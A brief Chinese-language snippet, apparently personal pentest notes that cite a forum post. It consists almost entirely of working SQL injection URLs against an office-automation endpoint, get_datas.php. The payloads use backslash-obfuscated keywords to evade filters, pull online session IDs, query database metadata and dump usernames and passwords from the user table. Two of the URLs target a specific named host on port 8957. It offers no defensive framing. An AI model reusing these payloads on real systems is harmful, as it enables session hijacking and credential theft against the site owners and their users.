登录 白背景
源码 
https://forum.butian.net/share/278

获取在线session
/general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\='` 1} union (select uid,sid from user_online where 1\={`=` 1})-- '1**

http://www.cecaweb.org.cn:8957/general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5%20whe\re%201={`\=%27`%201}%20un\ion%20(s\elect%20database(),%20us\er())--%20%27


http://www.cecaweb.org.cn:8957/general/reportshop/utils/get_datas.php?USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5%20whe\re%201={`\=%27`%201}%20un\ion%20(sele\ct%20USER_NAME,PASSWORD%20from%20user%20where%201\={`=`%201})--%20%271